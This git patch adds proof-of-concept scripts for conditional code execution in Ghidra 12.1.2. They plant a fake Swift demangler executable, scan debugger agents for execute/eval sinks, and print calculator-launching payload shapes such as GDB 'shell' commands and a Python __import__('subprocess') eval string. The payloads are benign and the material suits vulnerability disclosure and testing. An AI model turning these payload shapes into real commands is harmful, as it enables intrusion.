From dd5558e4d9c267ff18381f1daf2189f0150d61c5 Mon Sep 17 00:00:00 2001 From: Church of Malware <3+ek0ms@noreply.git.churchofmalware.org> Date: Mon, 29 Jun 2026 16:45:13 +0000 Subject: [PATCH] Upload files to "ghidra-12.1.2-rce-ace-calc-poc/pocs" --- .../pocs/SevenZipReachabilityProbe.java | 47 ++++++ .../pocs/ace_swift_demangler_calc_poc.py | 87 +++++++++++ .../pocs/calc_helper.py | 68 +++++++++ .../pocs/rce_tracermi_conditional_calc_poc.py | 136 ++++++++++++++++++ .../pocs/sevenzip_jbinding_reachability.py | 108 ++++++++++++++ 5 files changed, 446 insertions(+) create mode 100644 ghidra-12.1.2-rce-ace-calc-poc/pocs/SevenZipReachabilityProbe.java create mode 100644 ghidra-12.1.2-rce-ace-calc-poc/pocs/ace_swift_demangler_calc_poc.py create mode 100644 ghidra-12.1.2-rce-ace-calc-poc/pocs/calc_helper.py create mode 100644 ghidra-12.1.2-rce-ace-calc-poc/pocs/rce_tracermi_conditional_calc_poc.py create mode 100644 ghidra-12.1.2-rce-ace-calc-poc/pocs/sevenzip_jbinding_reachability.py diff --git a/ghidra-12.1.2-rce-ace-calc-poc/pocs/SevenZipReachabilityProbe.java b/ghidra-12.1.2-rce-ace-calc-poc/pocs/SevenZipReachabilityProbe.java new file mode 100644 index 0000000..b35e520 --- /dev/null +++ b/ghidra-12.1.2-rce-ace-calc-poc/pocs/SevenZipReachabilityProbe.java @@ -0,0 +1,47 @@ +import java.io.RandomAccessFile; +import java.nio.charset.StandardCharsets; +import java.nio.file.Files; +import java.nio.file.Path; +import java.util.zip.ZipEntry; +import java.util.zip.ZipOutputStream; + +import net.sf.sevenzipjbinding.IInArchive; +import net.sf.sevenzipjbinding.PropID; +import net.sf.sevenzipjbinding.SevenZip; +import net.sf.sevenzipjbinding.impl.RandomAccessFileInStream; + +public final class SevenZipReachabilityProbe { + private SevenZipReachabilityProbe() { + } + + public static void main(String[] args) throws Exception { + Path zipPath = Files.createTempFile("ghidra-sevenzip-safe-", ".zip"); + createHarmlessZip(zipPath); + + System.out.println("Purpose: benign SevenZipJBinding runtime reachability check."); + System.out.println("Sample: " + zipPath); + System.out.println("No malicious archive bytes or command payload are present."); + + SevenZip.initSevenZipFromPlatformJAR(); + System.out.println("SevenZip version object: " + SevenZip.getSevenZipVersion()); + + try (RandomAccessFile file = new RandomAccessFile(zipPath.toFile(), "r"); + IInArchive archive = SevenZip.openInArchive(null, new RandomAccessFileInStream(file))) { + System.out.println("Archive format: " + archive.getArchiveFormat()); + System.out.println("Item count: " + archive.getNumberOfItems()); + for (int i = 0; i < archive.getNumberOfItems(); i++) { + System.out.println("Item " + i + " path: " + archive.getProperty(i, PropID.PATH)); + } + } + } + + private static void createHarmlessZip(Path zipPath) throws Exception { + try (ZipOutputStream zip = new ZipOutputStream(Files.newOutputStream(zipPath))) { + ZipEntry entry = new ZipEntry("hello.txt"); + zip.putNextEntry(entry); + zip.write("harmless sample for parser reachability checks\n".getBytes(StandardCharsets.UTF_8)); + zip.closeEntry(); + } + } +} + diff --git a/ghidra-12.1.2-rce-ace-calc-poc/pocs/ace_swift_demangler_calc_poc.py b/ghidra-12.1.2-rce-ace-calc-poc/pocs/ace_swift_demangler_calc_poc.py new file mode 100644 index 0000000..8da6e1e --- /dev/null +++ b/ghidra-12.1.2-rce-ace-calc-poc/pocs/ace_swift_demangler_calc_poc.py @@ -0,0 +1,87 @@ +#!/usr/bin/env python3 +import argparse +import platform +import subprocess +from pathlib import Path + +from calc_helper import launch_calc, make_executable, shell_script_header, write_marker + + +def default_out_dir() -> Path: + return Path(__file__).resolve().parent.parent / "artifacts" / "swift-demangler-calc" + + +def fake_demangler_name() -> str: + return "swift-demangle.cmd" if platform.system().lower() == "windows" else "swift-demangle" + + +def build_fake_demangler(fake_demangler: Path, marker: Path, no_calc: bool) -> None: + lines = [shell_script_header()] + if platform.system().lower() == "windows": + lines.extend( + [ + "echo Swift demangler calc PoC 1.0\n", + f'echo ran with: %* > "{marker}"\n', + ] + ) + else: + lines.extend( + [ + "echo 'Swift demangler calc PoC 1.0'\n", + f'printf "ran with: %s\\n" "$*" > "{marker}"\n', + ] + ) + fake_demangler.write_text("".join(lines), encoding="utf-8") + make_executable(fake_demangler) + if no_calc: + return + + +def main() -> int: + parser = argparse.ArgumentParser( + description="Conditional Ghidra Swift demangler path ACE calc PoC." + ) + parser.add_argument("--run", action="store_true", help="execute the fake demangler") + parser.add_argument("--no-calc", action="store_true", help="create marker only") + parser.add_argument("--out-dir", type=Path, default=default_out_dir()) + args = parser.parse_args() + + out_dir = args.out_dir.resolve() + fake_swift_dir = out_dir / "fake-swift-bin" + fake_swift_dir.mkdir(parents=True, exist_ok=True) + marker = out_dir / "swift_demangler_calc_marker.txt" + fake_demangler = fake_swift_dir / fake_demangler_name() + + build_fake_demangler(fake_demangler, marker, args.no_calc) + + print("Purpose: conditional Swift demangler path ACE calc PoC.") + print(f"Fake Swift binary directory: {fake_swift_dir}") + print(f"Fake demangler: {fake_demangler}") + print(f"Marker file: {marker}") + print("Simulated Ghidra command shape: swift-demangle --version") + print("Classification: conditional ACE, not default/open-only RCE.") + + if not args.run: + print("Dry run only. Re-run with --run to execute the fake demangler.") + print("Use --no-calc with --run to create only the marker file.") + return 0 + + subprocess.run([str(fake_demangler), "--version"], check=True) + if not marker.exists(): + raise RuntimeError("Expected marker was not created") + + if args.no_calc: + print("Calc launch disabled by --no-calc.") + else: + launched = launch_calc() + if launched: + print("Local calculator launch requested.") + else: + print("No platform calculator command was found; marker proves execution.") + + print(f"[created] {marker}") + return 0 + + +if __name__ == "__main__": + raise SystemExit(main()) diff --git a/ghidra-12.1.2-rce-ace-calc-poc/pocs/calc_helper.py b/ghidra-12.1.2-rce-ace-calc-poc/pocs/calc_helper.py new file mode 100644 index 0000000..900c7a3 --- /dev/null +++ b/ghidra-12.1.2-rce-ace-calc-poc/pocs/calc_helper.py @@ -0,0 +1,68 @@ +#!/usr/bin/env python3 +import os +import platform +import shutil +import subprocess +from pathlib import Path + + +def write_marker(path: Path, text: str) -> None: + path.parent.mkdir(parents=True, exist_ok=True) + path.write_text(text + "\n", encoding="utf-8") + + +def calc_command() -> list[str] | None: + system = platform.system().lower() + if system == "windows": + return ["calc.exe"] + if system == "darwin": + return ["open", "-a", "Calculator"] + + for name in ("xcalc", "gnome-calculator", "kcalc", "qalculate-gtk"): + resolved = shutil.which(name) + if resolved: + return [resolved] + return None + + +def calc_shell_command() -> str: + system = platform.system().lower() + if system == "windows": + return "calc.exe" + if system == "darwin": + return "open -a Calculator" + return "xcalc || gnome-calculator || kcalc || qalculate-gtk" + + +def calc_python_eval_expression() -> str: + system = platform.system().lower() + if system == "windows": + args = "['calc.exe']" + elif system == "darwin": + args = "['open', '-a', 'Calculator']" + else: + args = "['sh', '-lc', 'xcalc || gnome-calculator || kcalc || qalculate-gtk']" + return f"__import__('subprocess').Popen({args})" + + +def launch_calc() -> bool: + cmd = calc_command() + if cmd is None: + return False + kwargs = {} + if platform.system().lower() == "windows": + kwargs["creationflags"] = getattr(subprocess, "CREATE_NEW_PROCESS_GROUP", 0) + subprocess.Popen(cmd, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, **kwargs) + return True + + +def shell_script_header() -> str: + if platform.system().lower() == "windows": + return "@echo off\n" + return "#!/bin/sh\n" + + +def make_executable(path: Path) -> None: + if platform.system().lower() != "windows": + mode = path.stat().st_mode + path.chmod(mode | 0o111) diff --git a/ghidra-12.1.2-rce-ace-calc-poc/pocs/rce_tracermi_conditional_calc_poc.py b/ghidra-12.1.2-rce-ace-calc-poc/pocs/rce_tracermi_conditional_calc_poc.py new file mode 100644 index 0000000..7a54537 --- /dev/null +++ b/ghidra-12.1.2-rce-ace-calc-poc/pocs/rce_tracermi_conditional_calc_poc.py @@ -0,0 +1,136 @@ +#!/usr/bin/env python3 +import argparse +import os +from pathlib import Path + +from calc_helper import ( + calc_command, + calc_python_eval_expression, + calc_shell_command, + launch_calc, + write_marker, +) + + +PATTERNS = ( + "def execute(", + "gdb.execute(cmd", + "exec_convert_errors(cmd", + "def pyeval(", + "return eval(expr)", + "EvaluateExpression(expr)", +) + + +def default_source() -> Path | None: + candidates: list[Path] = [] + env_source = os.environ.get("GHIDRA_SOURCE") + if env_source: + candidates.append(Path(env_source)) + candidates.extend( + [ + Path.cwd() / "ghidra-12.1.2", + Path(__file__).resolve().parents[2] / "ghidra-12.1.2", + ] + ) + for candidate in candidates: + if candidate.exists(): + return candidate.resolve() + return None + + +def find_hits(root: Path) -> list[tuple[Path, int, str, str]]: + debug_root = root / "Ghidra" / "Debug" + if not debug_root.exists(): + raise FileNotFoundError(f"Could not find Ghidra/Debug under {root}") + + hits: list[tuple[Path, int, str, str]] = [] + for method_file in debug_root.rglob("methods.py"): + try: + lines = method_file.read_text(encoding="utf-8", errors="replace").splitlines() + except OSError: + continue + for line_no, line in enumerate(lines, start=1): + stripped = line.strip() + for pattern in PATTERNS: + if pattern in stripped: + hits.append((method_file.relative_to(root), line_no, pattern, stripped)) + return hits + + +def payload_shapes() -> list[str]: + calc = calc_shell_command() + + return [ + f"GDB execute(cmd) calc-only command: shell {calc}", + f"LLDB execute(cmd) calc-only command: platform shell {calc}", + f"LLDB pyeval(expr) calc-only expression: {calc_python_eval_expression()}", + ] + + +def main() -> int: + parser = argparse.ArgumentParser( + description="Conditional TraceRMI RCE calc proof-shape checker." + ) + parser.add_argument("--ghidra-source", type=Path, default=None) + parser.add_argument("--run-local-calc-demo", action="store_true") + parser.add_argument("--no-calc", action="store_true") + parser.add_argument( + "--out-dir", + type=Path, + default=Path(__file__).resolve().parent.parent / "artifacts" / "tracermi-conditional-rce", + ) + args = parser.parse_args() + + source = args.ghidra_source.resolve() if args.ghidra_source else default_source() + if source is None or not source.exists(): + raise SystemExit( + "Provide --ghidra-source or set GHIDRA_SOURCE to a Ghidra 12.1.2 source tree" + ) + + out_dir = args.out_dir.resolve() + out_dir.mkdir(parents=True, exist_ok=True) + marker = out_dir / "tracermi_local_calc_marker.txt" + shapes_file = out_dir / "tracermi_calc_payload_shapes.txt" + + print(f"Ghidra source: {source}") + print("Purpose: conditional TraceRMI RCE calc proof shape.") + print("This script does not start TraceRMI, connect to an agent, or send execute requests.") + + hits = find_hits(source) + if not hits: + print("Result: no execution-capable TraceRMI agent method patterns were found.") + return 2 + + current_file: Path | None = None + for relative, line_no, _pattern, text in sorted(hits): + if current_file != relative: + current_file = relative + print(f"[file] {relative}") + print(f" [hit] line {line_no}: {text}") + + shapes = payload_shapes() + shapes_file.write_text("\n".join(shapes) + "\n", encoding="utf-8") + print(f"[created] {shapes_file}") + + if args.run_local_calc_demo: + write_marker(marker, "local calc demo ran") + print(f"[created] {marker}") + if args.no_calc: + print("Calc launch disabled by --no-calc.") + else: + if launch_calc(): + print("Local calculator launch requested.") + else: + print("No platform calculator command was found; marker proves execution.") + else: + print("Local calc demo not run. Add --run-local-calc-demo to launch calc locally.") + + print("Result: TraceRMI execution-capable agent method patterns were found.") + print("Classification: conditional RCE, not default unauthenticated RCE.") + print(f"Detected local calc command: {calc_command()}") + return 0 + + +if __name__ == "__main__": + raise SystemExit(main()) diff --git a/ghidra-12.1.2-rce-ace-calc-poc/pocs/sevenzip_jbinding_reachability.py b/ghidra-12.1.2-rce-ace-calc-poc/pocs/sevenzip_jbinding_reachability.py new file mode 100644 index 0000000..de6ed16 --- /dev/null +++ b/ghidra-12.1.2-rce-ace-calc-poc/pocs/sevenzip_jbinding_reachability.py @@ -0,0 +1,108 @@ +#!/usr/bin/env python3 +import argparse +import os +import zipfile +from pathlib import Path + + +CHECKS = ( + ("SevenZipJBinding dependency", "Ghidra/Features/FileFormats/build.gradle", "sevenzipjbinding:16.02-2.01"), + ("SevenZip all-platforms dependency", "Ghidra/Features/FileFormats/build.gradle", "sevenzipjbinding-all-platforms:16.02-2.01"), + ( + "Archive probe path", + "Ghidra/Features/FileFormats/src/main/java/ghidra/file/formats/sevenzip/SevenZipFileSystemFactory.java", + "probeStartBytes", + ), + ( + "SevenZip file system mount", + "Ghidra/Features/FileFormats/src/main/java/ghidra/file/formats/sevenzip/SevenZipFileSystemFactory.java", + "new SevenZipFileSystem", + ), + ( + "Native archive open", + "Ghidra/Features/FileFormats/src/main/java/ghidra/file/formats/sevenzip/SevenZipFileSystem.java", + "SevenZip.openInArchive", + ), + ( + "Native library load", + "Ghidra/Features/FileFormats/src/main/java/ghidra/file/formats/sevenzip/SevenZipCustomInitializer.java", + "System.load", + ), + ( + "ZIP tries SevenZip path", + "Ghidra/Features/FileFormats/src/main/java/ghidra/file/formats/zip/ZipFileSystemFactory.java", + "SevenZipFileSystemFactory.initNativeLibraries", + ), +) + + +def default_source() -> Path | None: + candidates: list[Path] = [] + env_source = os.environ.get("GHIDRA_SOURCE") + if env_source: + candidates.append(Path(env_source)) + candidates.extend( + [ + Path.cwd() / "ghidra-12.1.2", + Path(__file__).resolve().parents[2] / "ghidra-12.1.2", + ] + ) + for candidate in candidates: + if candidate.exists(): + return candidate.resolve() + return None + + +def main() -> int: + parser = argparse.ArgumentParser(description="Benign SevenZipJBinding reachability checker.") + parser.add_argument("--ghidra-source", type=Path, default=None) + parser.add_argument("--create-harmless-zip", action="store_true") + parser.add_argument( + "--out-dir", + type=Path, + default=Path(__file__).resolve().parent.parent / "artifacts", + ) + args = parser.parse_args() + + source = args.ghidra_source.resolve() if args.ghidra_source else default_source() + if source is None or not source.exists(): + raise SystemExit( + "Provide --ghidra-source or set GHIDRA_SOURCE to a Ghidra 12.1.2 source tree" + ) + + print(f"Ghidra source: {source}") + print("Purpose: benign reachability check only. No exploit archive or command payload is generated.") + + failed = False + for name, rel_path, pattern in CHECKS: + path = source / rel_path + if not path.exists(): + print(f"[missing] {name}: {rel_path}") + failed = True + continue + text = path.read_text(encoding="utf-8", errors="replace") + if pattern in text: + line_no = text[: text.index(pattern)].count("\n") + 1 + print(f"[found] {name}: {rel_path}:{line_no}") + else: + print(f"[miss] {name}: {rel_path}") + failed = True + + if args.create_harmless_zip: + out_dir = args.out_dir.resolve() + out_dir.mkdir(parents=True, exist_ok=True) + zip_path = out_dir / "harmless-sevenzip-sample.zip" + with zipfile.ZipFile(zip_path, "w", zipfile.ZIP_DEFLATED) as zf: + zf.writestr("hello.txt", "harmless sample for parser reachability checks\n") + print(f"[created] harmless ZIP sample: {zip_path}") + + if failed: + print("Result: one or more expected reachability checks were not found.") + return 2 + + print("Result: expected SevenZipJBinding reachability evidence was found.") + return 0 + + +if __name__ == "__main__": + raise SystemExit(main())